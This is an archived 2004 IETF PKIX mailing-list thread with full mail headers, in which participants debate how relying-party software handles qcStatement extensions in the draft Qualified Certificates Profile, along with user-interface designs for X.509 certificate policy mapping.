Re: Last Call: 'Internet X.509 Public Key Infrastructure: Qualified Certificates Profile' to Proposed Standard

["Anders Rundgren" <[e-mail]>]

Stefan,

>There is nothing in the IETF profile that mandates use of qcStatement extension.

No, but if you do, you get this side-effect, don't you?

And a software package that  is said to be compliant with a standard
must be prepared to cope with the entire standard, not just the part that
the developer thinks are useful.  How can a relying part sw. dev.
have any opinion about things that are completely out of his/her
control?

The bottom line is: If qcStatements contain anything beyond "decoration"
(who nees that ecept DoD?), they MUST be dealt with.  This will
require yet another GUI awkward admin.

Unless they are unform fore the entire policy.  This I cannot
find support for in the draft.

Anders


Från: Anders Rundgren [mailto:[e-mail]]
Skickat: lö 1/31/2004 12:29
Till: Stefan Santesson; [e-mail]
Ämne: Re: Last Call: 'Internet X.509 Public Key Infrastructure: Qualified Certificates Profile' to Proposed Standard



Stefan,

You are perfectly right, the document says nothing about this.

But You did in a recent ETSI posting:

     "The purpose of the qcStatement is to be used AFTER successful path
      validation to support programmatic detection if the certificate should be
     accepted as a QC or not"

     "The consumer of this function could be a UI display function or some
       policy module determining the suitability of a certificate for a certain purpose"

But "programmatic detection if a certificate should be accepted as
a QC or not" is equivalent to a extra path-validation step.

This requires nothing less than a tree-dimensional trust-config/admin
system (trust anchor, existing policy management, qcStatements).

If an automated recipient does not support all three it can hardly call
itself QC-compliant, making this functionality a MUST regardless if
extensions are marked critical or not.

Anders

----- Original Message -----
From: "Stefan Santesson" <[e-mail]>
To: "Anders Rundgren" <[e-mail]>; <[e-mail]>
Sent: Saturday, January 31, 2004 12:17
Subject: SV: Last Call: 'Internet X.509 Public Key Infrastructure: Qualified Certificates Profile' to Proposed Standard


Anders,



After reading this a couple of times I still don't have a clue what your problem with the document is.

I'm not aware of any part of the document promoting the kind of behaviour you are talking about.



/Stefan

________________________________

Från: [e-mail] genom Anders Rundgren
Skickat: fr 1/30/2004 4:05
Till: [e-mail]
Ämne: Re: Last Call: 'Internet X.509 Public Key Infrastructure: Qualified Certificates Profile' to Proposed Standard




Claim:

If qcStatements under a given CP OID are allowed to vary (to
indicate deviations in the policy in some way) a conforming
QC relying party should check the contents of the qcStatements
for each EE-certificate in order to not accidentally accept something
it might not appreciate.

Consequence:

Assuming that the majority of the "relying parties" actually are server-
based automated recipients like e-government services, it means that
most QC-compliant relying party software MUST support qcStatement-
filtering (which is exactly like an extra path validation procedure), or
it requires RP security administrators to be discriminative about what
QC CAs it should accept.

I find this requirement unreasonable.

Anders








Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0VC4Gp5056543; Sat, 31 Jan 2004 04:04:16 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i0VC4GKc056542; Sat, 31 Jan 2004 04:04:16 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from av3-1-sn4.m-sp.skanova.net (av3-1-sn4.m-sp.skanova.net [81.228.10.114]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0VC4FNd056500 for <[e-mail]>; Sat, 31 Jan 2004 04:04:15 -0800 (PST) (envelope-from [e-mail])
Received: by av3-1-sn4.m-sp.skanova.net (Postfix, from userid 502) id 4C57737E9D; Sat, 31 Jan 2004 13:04:10 +0100 (CET)
Received: from smtp2.fre.skanova.net (smtp2.fre.skanova.net [195.67.227.95]) by av3-1-sn4.m-sp.skanova.net (Postfix) with ESMTP id 2B5A937E43; Sat, 31 Jan 2004 13:04:10 +0100 (CET)
Received: from arport (t8o913p19.telia.com [213.64.26.139]) by smtp2.fre.skanova.net (8.12.10/8.12.10) with SMTP id i0VC48VM012175; Sat, 31 Jan 2004 13:04:08 +0100 (CET)
Message-ID: <013301c3e7f1$8e194060$0500a8c0@arport>
From: "Anders Rundgren" <[e-mail]>
To: "Stefan Santesson" <[e-mail]>, <[e-mail]>
References: <[e-mail]>
Subject: Re: Last Call: 'Internet X.509 Public Key Infrastructure: Qualified Certificates Profile' to Proposed Standard
Date: Sat, 31 Jan 2004 12:58:34 +0100
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2800.1106
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

Stefan,

>There is nothing in the IETF profile that mandates use of qcStatement extension.

No, but if you do, you get this side-effect, don't you?

And a software package that  is said to be compliant with a standard
must be prepared to cope with the entire standard, not just the part that
the developer thinks are useful.  How can a relying part sw. dev.
have any opinion about things that are completely out of his/her
control?

The bottom line is: If qcStatements contain anything beyond "decoration"
(who nees that ecept DoD?), they MUST be dealt with.  This will
require yet another GUI awkward admin.

Unless they are unform fore the entire policy.  This I cannot
find support for in the draft.

Anders


Från: Anders Rundgren [mailto:[e-mail]]
Skickat: lö 1/31/2004 12:29
Till: Stefan Santesson; [e-mail]
Ämne: Re: Last Call: 'Internet X.509 Public Key Infrastructure: Qualified Certificates Profile' to Proposed Standard



Stefan,

You are perfectly right, the document says nothing about this.

But You did in a recent ETSI posting:

     "The purpose of the qcStatement is to be used AFTER successful path
      validation to support programmatic detection if the certificate should be
     accepted as a QC or not"

     "The consumer of this function could be a UI display function or some
       policy module determining the suitability of a certificate for a certain purpose"

But "programmatic detection if a certificate should be accepted as
a QC or not" is equivalent to a extra path-validation step.

This requires nothing less than a tree-dimensional trust-config/admin
system (trust anchor, existing policy management, qcStatements).

If an automated recipient does not support all three it can hardly call
itself QC-compliant, making this functionality a MUST regardless if
extensions are marked critical or not.

Anders

----- Original Message -----
From: "Stefan Santesson" <[e-mail]>
To: "Anders Rundgren" <[e-mail]>; <[e-mail]>
Sent: Saturday, January 31, 2004 12:17
Subject: SV: Last Call: 'Internet X.509 Public Key Infrastructure: Qualified Certificates Profile' to Proposed Standard


Anders,



After reading this a couple of times I still don't have a clue what your problem with the document is.

I'm not aware of any part of the document promoting the kind of behaviour you are talking about.



/Stefan

________________________________

Från: [e-mail] genom Anders Rundgren
Skickat: fr 1/30/2004 4:05
Till: [e-mail]
Ämne: Re: Last Call: 'Internet X.509 Public Key Infrastructure: Qualified Certificates Profile' to Proposed Standard




Claim:

If qcStatements under a given CP OID are allowed to vary (to
indicate deviations in the policy in some way) a conforming
QC relying party should check the contents of the qcStatements
for each EE-certificate in order to not accidentally accept something
it might not appreciate.

Consequence:

Assuming that the majority of the "relying parties" actually are server-
based automated recipients like e-government services, it means that
most QC-compliant relying party software MUST support qcStatement-
filtering (which is exactly like an extra path validation procedure), or
it requires RP security administrators to be discriminative about what
QC CAs it should accept.

I find this requirement unreasonable.

Anders







Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0VBe9Pd054722; Sat, 31 Jan 2004 03:40:09 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i0VBe9TD054721; Sat, 31 Jan 2004 03:40:09 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from mail-dub.microsoft.com (mail-dub.microsoft.com [213.199.128.160]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0VBe5K1054705 for <[e-mail]>; Sat, 31 Jan 2004 03:40:07 -0800 (PST) (envelope-from [e-mail])
Received: from dub-imc-01.europe.corp.microsoft.com ([65.53.196.35]) by mail-dub.microsoft.com with Microsoft SMTPSVC(5.0.2195.6713); Sat, 31 Jan 2004 11:40:05 +0000
Received: from 65.53.196.35 by dub-imc-01.europe.corp.microsoft.com (InterScan E-Mail VirusWall NT); Sat, 31 Jan 2004 11:40:05 -0000
Received: from EUR-MSG-03.europe.corp.microsoft.com ([65.53.192.44]) by dub-imc-01.europe.corp.microsoft.com with Microsoft SMTPSVC(5.0.2195.6713); Sat, 31 Jan 2004 11:40:05 +0000
X-MimeOLE: Produced By Microsoft Exchange V6.5.7122.0
Content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Subject: SV: Last Call: 'Internet X.509 Public Key Infrastructure: Qualified Certificates Profile' to Proposed Standard
Date: Sat, 31 Jan 2004 11:38:50 -0000
Message-ID: <[e-mail]>
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
Thread-Topic: Last Call: 'Internet X.509 Public Key Infrastructure: Qualified Certificates Profile' to Proposed Standard
Thread-Index: AcPn7lotdsmFJzVEQLS2dtk4UBXACgAAHHSr
From: "Stefan Santesson" <[e-mail]>
To: "Anders Rundgren" <[e-mail]>, <[e-mail]>
X-OriginalArrivalTime: 31 Jan 2004 11:40:05.0154 (UTC) FILETIME=[F85C5820:01C3E7EE]
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by above.proper.com id i0VBe8K1054715
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

Your are posting to the wrong list.
There is nothing in the IETF profile that mandates use of qcStatement extension.
 
/Stefan

________________________________

Från: Anders Rundgren [mailto:[e-mail]]
Skickat: lö 1/31/2004 12:29
Till: Stefan Santesson; [e-mail]
Ämne: Re: Last Call: 'Internet X.509 Public Key Infrastructure: Qualified Certificates Profile' to Proposed Standard



Stefan,

You are perfectly right, the document says nothing about this.

But You did in a recent ETSI posting:

     "The purpose of the qcStatement is to be used AFTER successful path
      validation to support programmatic detection if the certificate should be
     accepted as a QC or not"

     "The consumer of this function could be a UI display function or some
       policy module determining the suitability of a certificate for a certain purpose"

But "programmatic detection if a certificate should be accepted as
a QC or not" is equivalent to a extra path-validation step.

This requires nothing less than a tree-dimensional trust-config/admin
system (trust anchor, existing policy management, qcStatements).

If an automated recipient does not support all three it can hardly call
itself QC-compliant, making this functionality a MUST regardless if
extensions are marked critical or not.

Anders

----- Original Message -----
From: "Stefan Santesson" <[e-mail]>
To: "Anders Rundgren" <[e-mail]>; <[e-mail]>
Sent: Saturday, January 31, 2004 12:17
Subject: SV: Last Call: 'Internet X.509 Public Key Infrastructure: Qualified Certificates Profile' to Proposed Standard


Anders,



After reading this a couple of times I still don't have a clue what your problem with the document is.

I'm not aware of any part of the document promoting the kind of behaviour you are talking about.



/Stefan

________________________________

Från: [e-mail] genom Anders Rundgren
Skickat: fr 1/30/2004 4:05
Till: [e-mail]
Ämne: Re: Last Call: 'Internet X.509 Public Key Infrastructure: Qualified Certificates Profile' to Proposed Standard




Claim:

If qcStatements under a given CP OID are allowed to vary (to
indicate deviations in the policy in some way) a conforming
QC relying party should check the contents of the qcStatements
for each EE-certificate in order to not accidentally accept something
it might not appreciate.

Consequence:

Assuming that the majority of the "relying parties" actually are server-
based automated recipients like e-government services, it means that
most QC-compliant relying party software MUST support qcStatement-
filtering (which is exactly like an extra path validation procedure), or
it requires RP security administrators to be discriminative about what
QC CAs it should accept.

I find this requirement unreasonable.

Anders








Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0VBZVwI054205; Sat, 31 Jan 2004 03:35:31 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i0VBZVSi054204; Sat, 31 Jan 2004 03:35:31 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from av7-2-sn4.m-sp.skanova.net (av7-2-sn4.m-sp.skanova.net [81.228.10.109]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0VBZUkn054183 for <[e-mail]>; Sat, 31 Jan 2004 03:35:30 -0800 (PST) (envelope-from [e-mail])
Received: by av7-2-sn4.m-sp.skanova.net (Postfix, from userid 502) id E5E1237E5C; Sat, 31 Jan 2004 12:35:24 +0100 (CET)
Received: from smtp2.fre.skanova.net (smtp2.fre.skanova.net [195.67.227.95]) by av7-2-sn4.m-sp.skanova.net (Postfix) with ESMTP id C796737E5C; Sat, 31 Jan 2004 12:35:24 +0100 (CET)
Received: from arport (t8o913p114.telia.com [213.64.26.234]) by smtp2.fre.skanova.net (8.12.10/8.12.10) with SMTP id i0VBZIVM001609; Sat, 31 Jan 2004 12:35:18 +0100 (CET)
Message-ID: <012501c3e7ed$89caf1b0$0500a8c0@arport>
From: "Anders Rundgren" <[e-mail]>
To: "Stefan Santesson" <[e-mail]>, <[e-mail]>
References: <[e-mail]>
Subject: Re: Last Call: 'Internet X.509 Public Key Infrastructure: Qualified Certificates Profile' to Proposed Standard
Date: Sat, 31 Jan 2004 12:29:43 +0100
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2800.1106
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

Stefan,

You are perfectly right, the document says nothing about this.

But You did in a recent ETSI posting:

     "The purpose of the qcStatement is to be used AFTER successful path
      validation to support programmatic detection if the certificate should be
     accepted as a QC or not"

     "The consumer of this function could be a UI display function or some
       policy module determining the suitability of a certificate for a certain purpose"

But "programmatic detection if a certificate should be accepted as
a QC or not" is equivalent to a extra path-validation step.

This requires nothing less than a tree-dimensional trust-config/admin
system (trust anchor, existing policy management, qcStatements).

If an automated recipient does not support all three it can hardly call
itself QC-compliant, making this functionality a MUST regardless if
extensions are marked critical or not.

Anders

----- Original Message -----
From: "Stefan Santesson" <[e-mail]>
To: "Anders Rundgren" <[e-mail]>; <[e-mail]>
Sent: Saturday, January 31, 2004 12:17
Subject: SV: Last Call: 'Internet X.509 Public Key Infrastructure: Qualified Certificates Profile' to Proposed Standard


Anders,



After reading this a couple of times I still don't have a clue what your problem with the document is.

I'm not aware of any part of the document promoting the kind of behaviour you are talking about.



/Stefan

________________________________

Från: [e-mail] genom Anders Rundgren
Skickat: fr 1/30/2004 4:05
Till: [e-mail]
Ämne: Re: Last Call: 'Internet X.509 Public Key Infrastructure: Qualified Certificates Profile' to Proposed Standard




Claim:

If qcStatements under a given CP OID are allowed to vary (to
indicate deviations in the policy in some way) a conforming
QC relying party should check the contents of the qcStatements
for each EE-certificate in order to not accidentally accept something
it might not appreciate.

Consequence:

Assuming that the majority of the "relying parties" actually are server-
based automated recipients like e-government services, it means that
most QC-compliant relying party software MUST support qcStatement-
filtering (which is exactly like an extra path validation procedure), or
it requires RP security administrators to be discriminative about what
QC CAs it should accept.

I find this requirement unreasonable.

Anders





Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0VBHZbH052646; Sat, 31 Jan 2004 03:17:35 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i0VBHZvR052645; Sat, 31 Jan 2004 03:17:35 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from mail-dub.microsoft.com (mail-dub.microsoft.com [213.199.128.160]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0VBHXBR052634 for <[e-mail]>; Sat, 31 Jan 2004 03:17:33 -0800 (PST) (envelope-from [e-mail])
Received: from dub-imc-01.europe.corp.microsoft.com ([65.53.196.35]) by mail-dub.microsoft.com with Microsoft SMTPSVC(5.0.2195.6713); Sat, 31 Jan 2004 11:17:31 +0000
Received: from 65.53.196.35 by dub-imc-01.europe.corp.microsoft.com (InterScan E-Mail VirusWall NT); Sat, 31 Jan 2004 11:17:31 -0000
Received: from EUR-MSG-03.europe.corp.microsoft.com ([65.53.192.44]) by dub-imc-01.europe.corp.microsoft.com with Microsoft SMTPSVC(5.0.2195.6713); Sat, 31 Jan 2004 11:17:31 +0000
X-MimeOLE: Produced By Microsoft Exchange V6.5.7122.0
Content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Subject: SV: Last Call: 'Internet X.509 Public Key Infrastructure: Qualified Certificates Profile' to Proposed Standard
Date: Sat, 31 Jan 2004 11:17:34 -0000
Message-ID: <[e-mail]>
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
Thread-Topic: Last Call: 'Internet X.509 Public Key Infrastructure: Qualified Certificates Profile' to Proposed Standard
Thread-Index: AcPnX/mVJFliJHULSUSeu8ENHCY8gwAirTc+
From: "Stefan Santesson" <[e-mail]>
To: "Anders Rundgren" <[e-mail]>, <[e-mail]>
X-OriginalArrivalTime: 31 Jan 2004 11:17:31.0708 (UTC) FILETIME=[D1A4DFC0:01C3E7EB]
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by above.proper.com id i0VBHYBR052639
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

Anders,

 

After reading this a couple of times I still don't have a clue what your problem with the document is.

I'm not aware of any part of the document promoting the kind of behaviour you are talking about.

 

/Stefan

________________________________

Från: [e-mail] genom Anders Rundgren
Skickat: fr 1/30/2004 4:05
Till: [e-mail]
Ämne: Re: Last Call: 'Internet X.509 Public Key Infrastructure: Qualified Certificates Profile' to Proposed Standard




Claim:

If qcStatements under a given CP OID are allowed to vary (to
indicate deviations in the policy in some way) a conforming
QC relying party should check the contents of the qcStatements
for each EE-certificate in order to not accidentally accept something
it might not appreciate.

Consequence:

Assuming that the majority of the "relying parties" actually are server-
based automated recipients like e-government services, it means that
most QC-compliant relying party software MUST support qcStatement-
filtering (which is exactly like an extra path validation procedure), or
it requires RP security administrators to be discriminative about what
QC CAs it should accept.

I find this requirement unreasonable.

Anders






Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0UHI6Ev003443; Fri, 30 Jan 2004 09:18:06 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i0UHI6v4003441; Fri, 30 Jan 2004 09:18:06 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from av7-1-sn4.m-sp.skanova.net (av7-1-sn4.m-sp.skanova.net [81.228.10.110]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0UHI5jw003405 for <[e-mail]>; Fri, 30 Jan 2004 09:18:05 -0800 (PST) (envelope-from [e-mail])
Received: by av7-1-sn4.m-sp.skanova.net (Postfix, from userid 502) id 9274537F17; Fri, 30 Jan 2004 18:17:58 +0100 (CET)
Received: from smtp2-2-sn4.m-sp.skanova.net (smtp2-2-sn4.m-sp.skanova.net [81.228.10.182]) by av7-1-sn4.m-sp.skanova.net (Postfix) with ESMTP id 8461637ED4 for <[e-mail]>; Fri, 30 Jan 2004 18:17:58 +0100 (CET)
Received: from arport (t8o913p54.telia.com [213.64.26.174]) by smtp2-2-sn4.m-sp.skanova.net (Postfix) with SMTP id BECB637E4D; Fri, 30 Jan 2004 18:17:55 +0100 (CET)
Message-ID: <011a01c3e754$3b42ab80$0500a8c0@arport>
From: "Anders Rundgren" <[e-mail]>
To: "Peter Hesse" <[e-mail]>, "'David Cross'" <[e-mail]>
Cc: <[e-mail]>
References: <[e-mail]>
Subject: Re: Policy User Interfaces (was RE: Setting X.509 Policy Data in IE, IIS, Outlook)
Date: Fri, 30 Jan 2004 18:12:00 +0100
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2800.1106
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

Peter,
You are talking about the relying party in end-user terms.
I am rather talking about the rp software and the rp security admin,
i.e. the entities managing the infrastructure you are talking about. 

This part gets more critical if you are a medium-sized manufacturer and
have 10000 suppliers of different sizes.  That's the kind of scenarious
I base my judgement on and also write software for.

Anders


----- Original Message ----- 
From: "Peter Hesse" <[e-mail]>
To: "'Anders Rundgren'" <[e-mail]>; "'David Cross'" <[e-mail]>
Cc: <[e-mail]>
Sent: Friday, January 30, 2004 16:15
Subject: RE: Policy User Interfaces (was RE: Setting X.509 Policy Data in IE, IIS, Outlook)


Anders,

When policy mappings are appropriately applied by the infrastructure,
relying parties need only to know about their own domain policies.  If I'm a
user at "XYZ corp", I will know that there are three XYZ policies; "XYZ
low", "XYZ medium", and "XYZ high".  Even if the signer is someone from
"Acme corp" with an "Acme External" certificate policy, the policy mappings
should cause me to see it at "XYZ low"; I don't need to look at Acme's
certificate policy document, my infrastructure has already done that and
made their decision on how "Acme External" should be mapped to an XYZ
policy.

I do not understand what you think is a potential security hazard.  The
relying party's infrastructure is responsible for what the relying party
trusts or does not trust.  The relying party's infrastructure uses technical
controls to control that trust, and the technical controls are in the
certificates issued by the relying party's trust root.  These controls
include the certificate policies, policy mappings, policy constraints, basic
constraints and name constraints extensions.

Will this be useful to David's grandmother?  No, of course not.  David's
grandmother has no need for this level of detail or assurance.  (Not to
mention she's probably using a $20 "your credit card number is good enough
identity proofing for us" certificate.)  A mutual fund manager who is
responsible for $500 million in assets, or a battlefield commander
responsible for the lives of thousands of soldiers probably *will* need this
level of detail and assurance.

--Peter

+---------------------------------------------------------------+
| Peter Hesse                    [e-mail]     |
| Phone: [phone]         Gemini Security Solutions, Inc.  |
| ICQ: 1942828                     www.geminisecurity.com       |
+---------------------------------------------------------------+
"Pay no attention to what the critics say; there has never been 
a statue set up in honor of a critic." --Jean Sibelius

-----Original Message-----
From: [e-mail] [mailto:[e-mail]] On
Behalf Of Anders Rundgren
Sent: Friday, January 30, 2004 4:37 AM
To: David Cross; Peter Hesse
Cc: [e-mail]
Subject: Re: Policy User Interfaces (was RE: Setting X.509 Policy Data in
IE, IIS, Outlook)


Peter,

If a sender of a signed message is using a certificate from a PKI that
requires policy filtering by the relying party (be it a server or Outlook),
then the sender creates a potential security hazard as the relying party
after trust anchor installation is likely to also "trust" what effectively
could be completely other types of certificates. 

One culprit is that there is no good universal way to communicate CA policy
information, except by requiring relying parties to decipher CP documents,
making the configuration process less user-friendly.

That is, multiple policy PKIs are not unsuitable only for consumers like
David's grandma, but in most open environments where many relying parties
are involved.

Regarding the user interface, you forgot to mention that the policy settings
must be per CA or groups of CAs further complicating matters.
But maybe, we are really talking local PKIs here?

Anders


----- Original Message -----
From: "David Cross" <[e-mail]>
To: "Peter Hesse" <[e-mail]>
Cc: <[e-mail]>
Sent: Thursday, January 29, 2004 19:30
Subject: RE: Policy User Interfaces (was RE: Setting X.509 Policy Data in
IE, IIS, Outlook)



Your 2 cents may not be too far off the mark...however, some comments...

A.  Today, in a Windows XP+ and Windows Server 2003 environment, we do
have the capability to configure an Active Directory (domain)
environment as you describe.  I agree this is an example of the
direction you describe.

B.  Technically, this also exists in most chaining engines and UI,
although the policy information is not exposed as a first class citizen,
argueably for several reasons such as my grandmother just is not
interested in policy status of my signed mail to her, but I digress...

Items C. and D. are the slippery slope that have obvious utility in the
enterprise and/or high assurance environments, but not in the general
global consumer community.  My grandmother just won't understand the
meaning of "initial-policy-mapping-inhibit" no matter how much she loves
me.


David B. Cross 



-----Original Message-----
From: [e-mail] [mailto:[e-mail]]
On Behalf Of Peter Hesse
Sent: Thursday, January 29, 2004 7:05 AM
To: 'Anders Rundgren'; 'Steve Hanna'; 'Stephen Kent'
Cc: [e-mail]
Subject: Policy User Interfaces (was RE: Setting X.509 Policy Data in
IE, IIS, Outlook)


I'll take the bait and throw this idea out there for you all to think
about.
It's not entirely my idea, it is based on ideas discussed with Dave
Fillingham over the years.  Let's assume for the moment that you're
working with a PKI with a few different certificate policies in use;
they might be hardware/software stored keys, or high/medium/low
assurance.

It is my suggestion that for a majority of PKI-enabled products with
user interfaces, the best solution may be to do the following:

A) Provide an administrative interface to map certificate policy OIDs to
human readable names, and potentially human readable descriptions of the
policies as well.

B) When building/validating certification paths, set the
initial-policy-set to any policy.  When a path successfully validates,
display the signature and validation status to the user, along with the
human readable names for the policies in the
authority-constrained-policy-set, or an indication that the path was not
valid under any known policies.

If these steps are followed, the user can just be informed that the
message they received was valid for "Gemini medium assurance" or
something like that.  Not much difficulty to implement, nor would it be
too difficult to educate the users.

Now, assume we're dealing with a PKI larger than a single organization,
where there are differing certificate policies and appropriate
certificate policy mappings in place.  (Such as a Bridge CA
environment.)  I'm assuming in this case that all certificates that I
want my relying parties to accept would have certificate policies
asserted.  In this case, we add just two more steps:

C) When validating paths, set initial-explicit-policy to TRUE, to ensure
that only paths valid for a policy would be accepted.  (Or, set
requireExplicitPolicy through policyConstraints extensions in domain or
cross-certificates.)

D) Provide users with a switch to enable/disable
initial-policy-mapping-inhibit.  This may be referred to as "allow only
my organization" and "allow other organizations".  I'm presuming that
cross-certificates would fail to validate if require-explicit was true
and policy mappings don't take place.

Likewise, even if I received a message from a user from a different
organization, I would simply see that the message validated and that it
was valid under the "Gemini low assurance policy" or something similar.
This doesn't add much implementation difficulty (assuming a compliant
path processing system) or make it too confusing for the user.

Just my $0.02.

--Peter

+---------------------------------------------------------------+
| Peter Hesse                    [e-mail]     |
| Phone: [phone]         Gemini Security Solutions, Inc.  |
| ICQ: 1942828                     www.geminisecurity.com       |
+---------------------------------------------------------------+
"Pay no attention to what the critics say; there has never been a statue
set up in honor of a critic." --Jean Sibelius



Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0UHCgCJ002904; Fri, 30 Jan 2004 09:12:42 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i0UHCg9E002903; Fri, 30 Jan 2004 09:12:42 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from av1-1-sn1.fre.skanova.net (av1-1-sn1.fre.skanova.net [81.228.11.107]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0UHCfMq002842 for <[e-mail]>; Fri, 30 Jan 2004 09:12:42 -0800 (PST) (envelope-from [e-mail])
Received: by av1-1-sn1.fre.skanova.net (Postfix, from userid 502) id 4684337F2F; Fri, 30 Jan 2004 16:11:07 +0100 (CET)
Received: from smtp3-1-sn1.fre.skanova.net (smtp3-1-sn1.fre.skanova.net [81.228.11.163]) by av1-1-sn1.fre.skanova.net (Postfix) with ESMTP id AEC7737E81 for <[e-mail]>; Fri, 30 Jan 2004 16:11:07 +0100 (CET)
Received: from arport (t11o913p46.telia.com [213.64.28.46]) by smtp3-1-sn1.fre.skanova.net (Postfix) with SMTP id 7DCBC37E4A for <[e-mail]>; Fri, 30 Jan 2004 16:11:06 +0100 (CET)
Message-ID: <00cd01c3e742$83c96ea0$0500a8c0@arport>
From: "Anders Rundgren" <[e-mail]>
To: <[e-mail]>
Subject: Re: Last Call: 'Internet X.509 Public Key Infrastructure: Qualified Certificates Profile' to Proposed Standard
Date: Fri, 30 Jan 2004 16:05:34 +0100
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2800.1106
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

Claim:

If qcStatements under a given CP OID are allowed to vary (to
indicate deviations in the policy in some way) a conforming
QC relying party should check the contents of the qcStatements
for each EE-certificate in order to not accidentally accept something
it might not appreciate.

Consequence:

Assuming that the majority of the "relying parties" actually are server-
based automated recipients like e-government services, it means that
most QC-compliant relying party software MUST support qcStatement-
filtering (which is exactly like an extra path validation procedure), or 
it requires RP security administrators to be discriminative about what
QC CAs it should accept.

I find this requirement unreasonable.

Anders



Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0UH6MjO002334; Fri, 30 Jan 2004 09:06:22 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i0UH6Maw002333; Fri, 30 Jan 2004 09:06:22 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from osf1.gmu.edu (osf1.gmu.edu [129.174.1.13]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0UH6KrU002307 for <[e-mail]>; Fri, 30 Jan 2004 09:06:21 -0800 (PST) (envelope-from [e-mail])
Received: from geminiph ([129.174.244.115]) by osf1.gmu.edu (8.8.8/8.8.8) with ESMTP id KAA82670; Fri, 30 Jan 2004 10:15:08 -0500 (EST)
Message-Id: <[e-mail]>
From: "Peter Hesse" <[e-mail]>
To: "'Anders Rundgren'" <[e-mail]>, "'David Cross'" <[e-mail]>
Cc: <[e-mail]>
Subject: RE: Policy User Interfaces (was RE: Setting X.509 Policy Data in IE, IIS, Outlook)
